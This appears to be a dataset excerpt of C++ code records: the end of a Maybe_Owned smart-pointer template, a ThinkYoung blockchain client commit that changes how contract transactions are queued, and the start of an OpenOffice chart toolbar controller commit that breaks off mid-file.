noexcept;\n    T&& unwrap() noexcept;\n    T* operator->() const noexcept;\n    T& operator*() const noexcept;\n\n    operator bool() const noexcept;\n\n    bool is_owned() const noexcept;\n    bool is_pointer() const noexcept;\n\n    void release() noexcept;\n  private:\n    bool owned_ = false;\n    T* ptr_ = nullptr;\n  };\n\n  template <class T>\n  template <class... Args>\n  Maybe_Owned<T>::Maybe_Owned(Args&&... args) noexcept\n    : owned_(true), ptr_(new T{std::forward<Args>(args)...}) {}\n\n  template <class T>\n  Maybe_Owned<T>::Maybe_Owned(T&& t) noexcept\n    : owned_(true), ptr_(new T(std::move(t))) {}\n\n  template <class T>\n  Maybe_Owned<T>::Maybe_Owned(T* t, bool o) noexcept : owned_(o), ptr_(t) {}\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>::Maybe_Owned(std::unique_ptr<R> ptr) noexcept\n    : owned_(true), ptr_(ptr.release()) {}\n\n  template <class T>\n  Maybe_Owned<T>::~Maybe_Owned() noexcept\n  {\n    release();\n  }\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>::Maybe_Owned(Maybe_Owned<R>&& mo1) noexcept\n    : owned_(mo1.owned_), ptr_(mo1.ptr_)\n  {\n    mo1.owned_ = false;\n    \/\/ We don't need to null the pointer since setting the owned value to false\n    \/\/ should suffice in preventing this other maybe-owned from deleting its\n    \/\/ pointer. Nonetheless:\n    mo1.ptr_ = nullptr;\n  }\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>& Maybe_Owned<T>::operator=(std::unique_ptr<R> ptr) noexcept\n  {\n    release();\n\n    owned_ = true;\n    ptr_ = ptr.release();\n\n    return *this;\n  }\n\n  template <class T>\n  template <class R>\n  Maybe_Owned<T>& Maybe_Owned<T>::operator=(Maybe_Owned<R>&& mo1) noexcept\n  {\n    \/\/ Release ourselves, possibly unallocating our own pointer (if we own it).\n    release();\n\n    owned_ = mo1.owned_;\n    ptr_ = mo1.ptr_;\n\n    mo1.owned_ = false;\n    mo1.ptr_ = nullptr;\n\n    return *this;\n  }\n\n  template <class T>\n  void Maybe_Owned<T>::set_owned(T&& t) noexcept\n  {\n    set_pointer(new T(std::move(t)), true);\n  }\n  template <class T>\n  void Maybe_Owned<T>::set_owned(T const& t) noexcept\n  {\n    set_pointer(new T(t), true);\n  }\n  template <class T>\n  void Maybe_Owned<T>::set_owned(T* t) noexcept\n  {\n    set_pointer(t, true);\n  }\n  template <class T>\n  void Maybe_Owned<T>::set_pointer(T* t, bool o) noexcept\n  {\n    *this = Maybe_Owned<T>(t, o);\n  }\n  template <class T>\n  template <class R>\n  void Maybe_Owned<T>::set_pointer(Maybe_Owned<R> const& mo) noexcept\n  {\n    set_pointer(mo.get(), false);\n  }\n\n  template <class T>\n  template <class R, class... Args>\n  void Maybe_Owned<T>::emplace_owned(Args&&... args) noexcept\n  {\n    *this = make_maybe_owned<T>(std::forward<Args>(args)...);\n  }\n\n  template <class T>\n  T* Maybe_Owned<T>::get() const noexcept\n  {\n    return ptr_;\n  }\n\n  template <class T>\n  T&& Maybe_Owned<T>::unwrap() noexcept\n  {\n    T&& old_t = std::move(*ptr_);\n    release();\n    return std::move(old_t);\n  }\n\n  template <class T>\n  T* Maybe_Owned<T>::operator->() const noexcept\n  {\n    return ptr_;\n  }\n  template <class T>\n  T& Maybe_Owned<T>::operator*() const noexcept\n  {\n    return *ptr_;\n  }\n\n  template <class T>\n  bool Maybe_Owned<T>::is_owned() const noexcept\n  {\n    return owned_;\n  }\n  template <class T>\n  bool Maybe_Owned<T>::is_pointer() const noexcept\n  {\n    return !owned_;\n  }\n\n  template <class T>\n  Maybe_Owned<T>::operator bool() const noexcept\n  {\n    return get();\n  }\n  template <class T>\n  void Maybe_Owned<T>::release() noexcept\n  {\n    if(owned_)\n    {\n      delete ptr_;\n    }\n    ptr_ = nullptr;\n    owned_ = false;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <client\/Client.hpp>\n#include <client\/ClientImpl.hpp>\n#include <client\/Messages.hpp>\n\nnamespace thinkyoung {\n    namespace client {\n        namespace detail {\n        \n            thinkyoung::blockchain::TransactionIdType detail::ClientImpl::network_broadcast_transactions(const std::vector<thinkyoung::blockchain::SignedTransaction>& transactions_to_broadcast) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                \/\/ ilog(\"broadcasting transaction: ${id} \", (\"id\", transaction_to_broadcast.id()));\n                \/\/ p2p doesn't send messages back to the originator\n                _p2p_node->broadcast(BatchTrxMessage(transactions_to_broadcast));\n                return transactions_to_broadcast.begin()->id();\n            }\n            \n            thinkyoung::blockchain::TransactionIdType detail::ClientImpl::network_broadcast_transaction(const thinkyoung::blockchain::SignedTransaction& transaction_to_broadcast) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                \/\/ ilog(\"broadcasting transaction: ${id} \", (\"id\", transaction_to_broadcast.id()));\n                \/\/ p2p doesn't send messages back to the originator\n                auto pending = blockchain_list_pending_transactions();\n                \n                if (pending.size() > ALP_BLOCKCHAIN_LOCAL_CRITICAL_PENDING_QUEUE_SIZE) {\n                    _local_pending_list.push_back(transaction_to_broadcast);\n                    \n                } else {\n                    _p2p_node->broadcast(TrxMessage(transaction_to_broadcast));\n                    on_new_transaction(transaction_to_broadcast);\n                }\n                \n                return transaction_to_broadcast.id();\n            }\n            \n            std::vector<fc::variant_object> detail::ClientImpl::network_get_peer_info(bool hide_firewalled_nodes)const {\n                std::vector<fc::variant_object> results;\n                std::vector<thinkyoung::net::PeerStatus> peer_statuses = _p2p_node->get_connected_peers();\n                \n                for (const thinkyoung::net::PeerStatus& peer_status : peer_statuses)\n                    if (!hide_firewalled_nodes ||\n                            peer_status.info[\"firewall_status\"].as_string() == \"not_firewalled\")\n                        results.push_back(peer_status.info);\n                        \n                return results;\n            }\n            \n            \/\/ void detail::client_impl::network_set_allowed_peers(const vector<thinkyoung::net::node_id_t>& allowed_peers)\n            \/\/ {\n            \/\/    _p2p_node->set_allowed_peers( allowed_peers );\n            \/\/ }\n            \n            void detail::ClientImpl::network_set_advanced_node_parameters(const fc::variant_object& params) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                _p2p_node->set_advanced_node_parameters(params);\n            }\n            \n            fc::variant_object detail::ClientImpl::network_get_advanced_node_parameters() const {\n                return _p2p_node->get_advanced_node_parameters();\n            }\n            \n            void detail::ClientImpl::network_add_node(const string& node, const string& command) {\n                if (command == \"add\")\n                    _self->connect_to_peer(node);\n                    \n                else if (command == \"block\") {\n                    std::basic_string <char> ip;\n                    size_t pos;\n                    \n                    if ((pos = node.find(':')) != std::string::npos) {\n                        _p2p_node->block_node(node.substr(0, pos).c_str(), true);\n                        _p2p_node->add_node(fc::ip::endpoint::from_string(node), -1);\n                        \n                    } else {\n                        _p2p_node->block_node(node, true);\n                        _p2p_node->add_node(fc::ip::endpoint::from_string(node + \":0\"), -1);\n                    }\n                    \n                } else if (command == \"unblock\") {\n                    std::basic_string <char> ip;\n                    size_t pos;\n                    \n                    if ((pos = node.find(':')) != std::string::npos)\n                        _p2p_node->block_node(node.substr(0, pos).c_str(), false);\n                        \n                    else\n                        _p2p_node->block_node(node, false);\n                        \n                } else {\n                    FC_THROW_EXCEPTION(fc::invalid_arg_exception, \"unsupported command argument \\\"${command}\\\", valid commands are: \\\"add\\\"\", (\"command\", command));\n                }\n            }\n            \n            uint32_t detail::ClientImpl::network_get_connection_count() const {\n                return _p2p_node->get_connection_count();\n            }\n            \n            thinkyoung::net::MessagePropagationData detail::ClientImpl::network_get_transaction_propagation_data(const TransactionIdType& transaction_id) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                return _p2p_node->get_transaction_propagation_data(transaction_id);\n                FC_THROW_EXCEPTION(fc::invalid_operation_exception, \"get_transaction_propagation_data only valid in p2p mode\");\n            }\n            \n            thinkyoung::net::MessagePropagationData detail::ClientImpl::network_get_block_propagation_data(const BlockIdType& block_id) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                return _p2p_node->get_block_propagation_data(block_id);\n                FC_THROW_EXCEPTION(fc::invalid_operation_exception, \"get_block_propagation_data only valid in p2p mode\");\n            }\n            \n            fc::variant_object ClientImpl::network_get_info() const {\n                return _p2p_node->network_get_info();\n            }\n            \n            \/\/ fc::variant_object client_impl::network_get_usage_stats() const\n            \/\/ {\n            \/\/    return _p2p_node->network_get_usage_stats();\n            \/\/ }\n            \n            vector<thinkyoung::net::PotentialPeerEntry> ClientImpl::network_list_potential_peers()const {\n                return _p2p_node->get_potential_peers();\n            }\n            \n            fc::variant_object ClientImpl::network_get_upnp_info()const {\n                fc::mutable_variant_object upnp_info;\n                upnp_info[\"upnp_enabled\"] = bool(_upnp_service);\n                \n                if (_upnp_service) {\n                    upnp_info[\"external_ip\"] = fc::string(_upnp_service->external_ip());\n                    upnp_info[\"mapped_port\"] = fc::variant(_upnp_service->mapped_port()).as_string();\n                }\n                \n                return upnp_info;\n            }\n            \n            std::vector<std::string> ClientImpl::network_get_blocked_ips()const {\n                return _p2p_node->get_blocked_ips();\n            }\n            \n        }\n    }\n} \/\/ namespace thinkyoung::client::detail\n<commit_msg>Distinguish the transaction type,deal with the contract transaction<commit_after>#include <client\/Client.hpp>\n#include <client\/ClientImpl.hpp>\n#include <client\/Messages.hpp>\n\nnamespace thinkyoung {\n    namespace client {\n        namespace detail {\n        \n            thinkyoung::blockchain::TransactionIdType detail::ClientImpl::network_broadcast_transactions(const std::vector<thinkyoung::blockchain::SignedTransaction>& transactions_to_broadcast) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                \/\/ ilog(\"broadcasting transaction: ${id} \", (\"id\", transaction_to_broadcast.id()));\n                \/\/ p2p doesn't send messages back to the originator\n                _p2p_node->broadcast(BatchTrxMessage(transactions_to_broadcast));\n                return transactions_to_broadcast.begin()->id();\n            }\n            \n            thinkyoung::blockchain::TransactionIdType detail::ClientImpl::network_broadcast_transaction(const thinkyoung::blockchain::SignedTransaction& transaction_to_broadcast) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                \/\/ ilog(\"broadcasting transaction: ${id} \", (\"id\", transaction_to_broadcast.id()));\n                \/\/ p2p doesn't send messages back to the originator\n                bool bContract = false;\n                auto pending = blockchain_list_pending_transactions();\n                \n                for (auto operation : transaction_to_broadcast.operations) {\n                    if (operation.type == register_contract_op_type || operation.type == upgrade_contract_op_type || operation.type == destroy_contract_op_type\n                            || operation.type == call_contract_op_type || operation.type == transfer_contract_op_type || operation.type == withdraw_contract_op_type\n                            || operation.type == deposit_contract_op_type) {\n                        bContract = true;\n                        break;\n                    }\n                }\n                \n                if (pending.size() > ALP_BLOCKCHAIN_LOCAL_CRITICAL_PENDING_QUEUE_SIZE && bContract) {\n                    _local_pending_list.push_back(transaction_to_broadcast);\n                    \n                } else {\n                    _p2p_node->broadcast(TrxMessage(transaction_to_broadcast));\n                    on_new_transaction(transaction_to_broadcast);\n                }\n                \n                return transaction_to_broadcast.id();\n            }\n            \n            std::vector<fc::variant_object> detail::ClientImpl::network_get_peer_info(bool hide_firewalled_nodes)const {\n                std::vector<fc::variant_object> results;\n                std::vector<thinkyoung::net::PeerStatus> peer_statuses = _p2p_node->get_connected_peers();\n                \n                for (const thinkyoung::net::PeerStatus& peer_status : peer_statuses)\n                    if (!hide_firewalled_nodes ||\n                            peer_status.info[\"firewall_status\"].as_string() == \"not_firewalled\")\n                        results.push_back(peer_status.info);\n                        \n                return results;\n            }\n            \n            \/\/ void detail::client_impl::network_set_allowed_peers(const vector<thinkyoung::net::node_id_t>& allowed_peers)\n            \/\/ {\n            \/\/    _p2p_node->set_allowed_peers( allowed_peers );\n            \/\/ }\n            \n            void detail::ClientImpl::network_set_advanced_node_parameters(const fc::variant_object& params) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                _p2p_node->set_advanced_node_parameters(params);\n            }\n            \n            fc::variant_object detail::ClientImpl::network_get_advanced_node_parameters() const {\n                return _p2p_node->get_advanced_node_parameters();\n            }\n            \n            void detail::ClientImpl::network_add_node(const string& node, const string& command) {\n                if (command == \"add\")\n                    _self->connect_to_peer(node);\n                    \n                else if (command == \"block\") {\n                    std::basic_string <char> ip;\n                    size_t pos;\n                    \n                    if ((pos = node.find(':')) != std::string::npos) {\n                        _p2p_node->block_node(node.substr(0, pos).c_str(), true);\n                        _p2p_node->add_node(fc::ip::endpoint::from_string(node), -1);\n                        \n                    } else {\n                        _p2p_node->block_node(node, true);\n                        _p2p_node->add_node(fc::ip::endpoint::from_string(node + \":0\"), -1);\n                    }\n                    \n                } else if (command == \"unblock\") {\n                    std::basic_string <char> ip;\n                    size_t pos;\n                    \n                    if ((pos = node.find(':')) != std::string::npos)\n                        _p2p_node->block_node(node.substr(0, pos).c_str(), false);\n                        \n                    else\n                        _p2p_node->block_node(node, false);\n                        \n                } else {\n                    FC_THROW_EXCEPTION(fc::invalid_arg_exception, \"unsupported command argument \\\"${command}\\\", valid commands are: \\\"add\\\"\", (\"command\", command));\n                }\n            }\n            \n            uint32_t detail::ClientImpl::network_get_connection_count() const {\n                return _p2p_node->get_connection_count();\n            }\n            \n            thinkyoung::net::MessagePropagationData detail::ClientImpl::network_get_transaction_propagation_data(const TransactionIdType& transaction_id) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                return _p2p_node->get_transaction_propagation_data(transaction_id);\n                FC_THROW_EXCEPTION(fc::invalid_operation_exception, \"get_transaction_propagation_data only valid in p2p mode\");\n            }\n            \n            thinkyoung::net::MessagePropagationData detail::ClientImpl::network_get_block_propagation_data(const BlockIdType& block_id) {\n                \/\/ set limit in  sandbox state\n                if (_chain_db->get_is_in_sandbox())\n                    FC_THROW_EXCEPTION(sandbox_command_forbidden, \"in sandbox, this command is forbidden, you cannot call it!\");\n                    \n                return _p2p_node->get_block_propagation_data(block_id);\n                FC_THROW_EXCEPTION(fc::invalid_operation_exception, \"get_block_propagation_data only valid in p2p mode\");\n            }\n            \n            fc::variant_object ClientImpl::network_get_info() const {\n                return _p2p_node->network_get_info();\n            }\n            \n            \/\/ fc::variant_object client_impl::network_get_usage_stats() const\n            \/\/ {\n            \/\/    return _p2p_node->network_get_usage_stats();\n            \/\/ }\n            \n            vector<thinkyoung::net::PotentialPeerEntry> ClientImpl::network_list_potential_peers()const {\n                return _p2p_node->get_potential_peers();\n            }\n            \n            fc::variant_object ClientImpl::network_get_upnp_info()const {\n                fc::mutable_variant_object upnp_info;\n                upnp_info[\"upnp_enabled\"] = bool(_upnp_service);\n                \n                if (_upnp_service) {\n                    upnp_info[\"external_ip\"] = fc::string(_upnp_service->external_ip());\n                    upnp_info[\"mapped_port\"] = fc::variant(_upnp_service->mapped_port()).as_string();\n                }\n                \n                return upnp_info;\n            }\n            \n            std::vector<std::string> ClientImpl::network_get_blocked_ips()const {\n                return _p2p_node->get_blocked_ips();\n            }\n            \n        }\n    }\n} \/\/ namespace thinkyoung::client::detail\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_chart2.hxx\"\n\n#include \"ShapeToolbarController.hxx\"\n\n#include <vos\/mutex.hxx>\n#include <comphelper\/sequence.hxx>\n#include <vcl\/svapp.hxx>\n#include <vcl\/toolbox.hxx>\n#include <toolkit\/helper\/vclunohelper.hxx>\n#include <svx\/svxids.hrc>\n#include <svx\/tbxcustomshapes.hxx>\n\n\nusing namespace com::sun::star;\n\nusing ::com::sun::star::uno::Reference;\nusing ::com::sun::star::uno::Sequence;\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n::rtl::OUString ShapeToolbarController::getImplementationName() throw (uno::RuntimeException)\n{\n    return getImplementationName_Static();\n}\n\n::rtl::OUString ShapeToolbarController::getImplementationName_Static() throw (uno::RuntimeException)\n{\n    return ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.chart2.comp.ShapeToolbarController\" ) );\n}\n\nSequence< ::rtl::OUString > ShapeToolbarController::getSupportedServiceNames_Static() throw (uno::RuntimeException)\n{\n    Sequence< ::rtl::OUString > aSupported(1);\n    aSupported.getArray()[0] = ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.chart2.ShapeToolbarController\" ) );\n    return aSupported;\n}\n\n::sal_Bool ShapeToolbarController::supportsService( const ::rtl::OUString& ServiceName ) throw (uno::RuntimeException)\n{\n    return ::comphelper::existsValue( ServiceName, getSupportedServiceNames_Static() );\n}\n\nSequence< ::rtl::OUString> ShapeToolbarController::getSupportedServiceNames() throw (uno::RuntimeException)\n{\n    return getSupportedServiceNames_Static();\n}\n\nReference< uno::XInterface > ShapeToolbarController::create( const Reference< uno::XComponentContext >& xContext )\n{\n    return *( new ShapeToolbarController( Reference< lang::XMultiServiceFactory >( xContext->getServiceManager(), uno::UNO_QUERY ) ) );\n}\n\nShapeToolbarController::ShapeToolbarController( const Reference< lang::XMultiServiceFactory >& rxFact )\n    :m_pToolbarController( NULL )\n    ,m_nToolBoxId( 1 )\n    ,m_nSlotId( 0 )\n{\n    osl_incrementInterlockedCount( &m_refCount );\n    m_xServiceManager = rxFact;\n    osl_decrementInterlockedCount( &m_refCount );\n}\n\nShapeToolbarController::~ShapeToolbarController()\n{\n}\n\n\/\/ ::com::sun::star::uno::XInterface\nuno::Any ShapeToolbarController::queryInterface( const uno::Type& rType ) throw (uno::RuntimeException)\n{\n    uno::Any aReturn = ToolboxController::queryInterface( rType );\n    if ( !aReturn.hasValue() )\n    {\n        aReturn = ShapeToolbarController_Base::queryInterface( rType );\n    }\n    return aReturn;\n}\n\nvoid ShapeToolbarController::acquire() throw ()\n{\n    ToolboxController::acquire();\n}\n\nvoid ShapeToolbarController::release() throw ()\n{\n    ToolboxController::release();\n}\n\n\/\/ ::com::sun::star::lang::XInitialization\nvoid ShapeToolbarController::initialize( const Sequence< uno::Any >& rArguments ) throw (uno::Exception, uno::RuntimeException)\n{\n    ToolboxController::initialize( rArguments );\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    ToolBox* pToolBox = static_cast< ToolBox* >( VCLUnoHelper::GetWindow( getParent() ) );\n    if ( pToolBox )\n    {\n        const USHORT nCount = pToolBox->GetItemCount();\n        for ( USHORT nPos = 0; nPos < nCount; ++nPos )\n        {\n            const USHORT nItemId = pToolBox->GetItemId( nPos );\n            if ( pToolBox->GetItemCommand( nItemId ) == String( m_aCommandURL ) )\n            {\n                m_nToolBoxId = nItemId;\n                break;\n            }\n        }\n        if ( m_aCommandURL.equalsAscii( \".uno:BasicShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:BasicShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_BASIC;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:SymbolShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:SymbolShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_SYMBOL;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:ArrowShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:ArrowShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_ARROW;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:FlowChartShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:FlowChartShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_FLOWCHART;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:CalloutShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:CalloutShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_CALLOUT;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:StarShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:StarShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_STAR;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n\n        for ( TCommandState::iterator aIter( m_aStates.begin() ); aIter != m_aStates.end(); ++aIter )\n        {\n            addStatusListener( aIter->first );\n        }\n\n        if ( m_pToolbarController.is() )\n        {\n            m_pToolbarController->initialize( rArguments );\n        }\n\n        \/\/ check if paste special is allowed, when not don't add DROPDOWN\n        pToolBox->SetItemBits( m_nToolBoxId, pToolBox->GetItemBits( m_nToolBoxId ) | TIB_DROPDOWN );\n    }\n}\n\n\/\/ ::com::sun::star::frame::XStatusListener\nvoid ShapeToolbarController::statusChanged( const frame::FeatureStateEvent& Event ) throw ( uno::RuntimeException )\n{\n    ::osl::MutexGuard aGuard( m_aMutex );\n    TCommandState::iterator aFind = m_aStates.find( Event.FeatureURL.Complete );\n    if ( aFind != m_aStates.end() )\n    {\n        aFind->second = Event.IsEnabled;\n        if ( m_pToolbarController.is() )\n        {\n            sal_Bool bCheckmark = sal_False;\n            ToolBox& rTb = m_pToolbarController->GetToolBox();\n\n            for ( USHORT i = 0; i < rTb.GetItemCount(); ++i )\n            {\n                USHORT nId = rTb.GetItemId( i );\n                if ( nId == 0 )\n                {\n                    continue;\n                }\n                ::rtl::OUString aCmd = rTb.GetItemCommand( nId );\n                if ( aCmd == Event.FeatureURL.Complete )\n                {\n                    rTb.EnableItem( nId, Event.IsEnabled );\n                    if ( Event.State >>= bCheckmark )\n                    {\n                        rTb.CheckItem( nId, bCheckmark );\n                    }\n                    else\n                    {\n                        ::rtl::OUString aItemText;\n                        if ( Event.State >>= aItemText )\n                        {\n                            rTb.SetItemText( nId, aItemText );\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\n\/\/ ::com::sun::star::frame::XToolbarController\nReference< awt::XWindow > ShapeToolbarController::createPopupWindow() throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    Reference< awt::XWindow > xRet;\n    if ( m_pToolbarController.is() )\n    {\n        xRet = m_pToolbarController.getRef()->createPopupWindow();\n    }\n\n    return xRet;\n}\n\n\/\/ ::com::sun::star::frame::XSubToolbarController\n::sal_Bool ShapeToolbarController::opensSubToolbar() throw (uno::RuntimeException)\n{\n    return ( m_nSlotId == SID_DRAWTBX_CS_BASIC ||\n             m_nSlotId == SID_DRAWTBX_CS_SYMBOL ||\n             m_nSlotId == SID_DRAWTBX_CS_ARROW ||\n             m_nSlotId == SID_DRAWTBX_CS_FLOWCHART ||\n             m_nSlotId == SID_DRAWTBX_CS_CALLOUT ||\n             m_nSlotId == SID_DRAWTBX_CS_STAR );\n}\n\n::rtl::OUString ShapeToolbarController::getSubToolbarName() throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard(m_aMutex);\n    uno::Reference< frame::XSubToolbarController > xSub( m_pToolbarController.getRef(), uno::UNO_QUERY );\n    if ( xSub.is() )\n    {\n        return xSub->getSubToolbarName();\n    }\n    return ::rtl::OUString();\n}\n\nvoid ShapeToolbarController::functionSelected( const ::rtl::OUString& rCommand ) throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    uno::Reference< frame::XSubToolbarController > xSub( m_pToolbarController.getRef(), uno::UNO_QUERY );\n    if ( xSub.is() )\n    {\n        m_aCommandURL = rCommand;\n        xSub->functionSelected( rCommand );\n    }\n}\n\nvoid ShapeToolbarController::updateImage() throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    uno::Reference< frame::XSubToolbarController > xSub( m_pToolbarController.getRef(), uno::UNO_QUERY );\n    if ( xSub.is() )\n    {\n        xSub->updateImage();\n    }\n}\n\n\/\/.............................................................................\n} \/\/  namespace chart\n\/\/.............................................................................\n<commit_msg>chart45: #i110805# Chartshapes: Toolbarbuttons can't be opened<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_chart2.hxx\"\n\n#include \"ShapeToolbarController.hxx\"\n\n#include <vos\/mutex.hxx>\n#include <comphelper\/sequence.hxx>\n#include <vcl\/svapp.hxx>\n#include <vcl\/toolbox.hxx>\n#include <toolkit\/helper\/vclunohelper.hxx>\n#include <svx\/svxids.hrc>\n#include <svx\/tbxcustomshapes.hxx>\n\n\nusing namespace com::sun::star;\n\nusing ::com::sun::star::uno::Reference;\nusing ::com::sun::star::uno::Sequence;\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n::rtl::OUString ShapeToolbarController::getImplementationName() throw (uno::RuntimeException)\n{\n    return getImplementationName_Static();\n}\n\n::rtl::OUString ShapeToolbarController::getImplementationName_Static() throw (uno::RuntimeException)\n{\n    return ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.comp.chart2.ShapeToolbarController\" ) );\n}\n\nSequence< ::rtl::OUString > ShapeToolbarController::getSupportedServiceNames_Static() throw (uno::RuntimeException)\n{\n    Sequence< ::rtl::OUString > aSupported(1);\n    aSupported.getArray()[0] = ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( 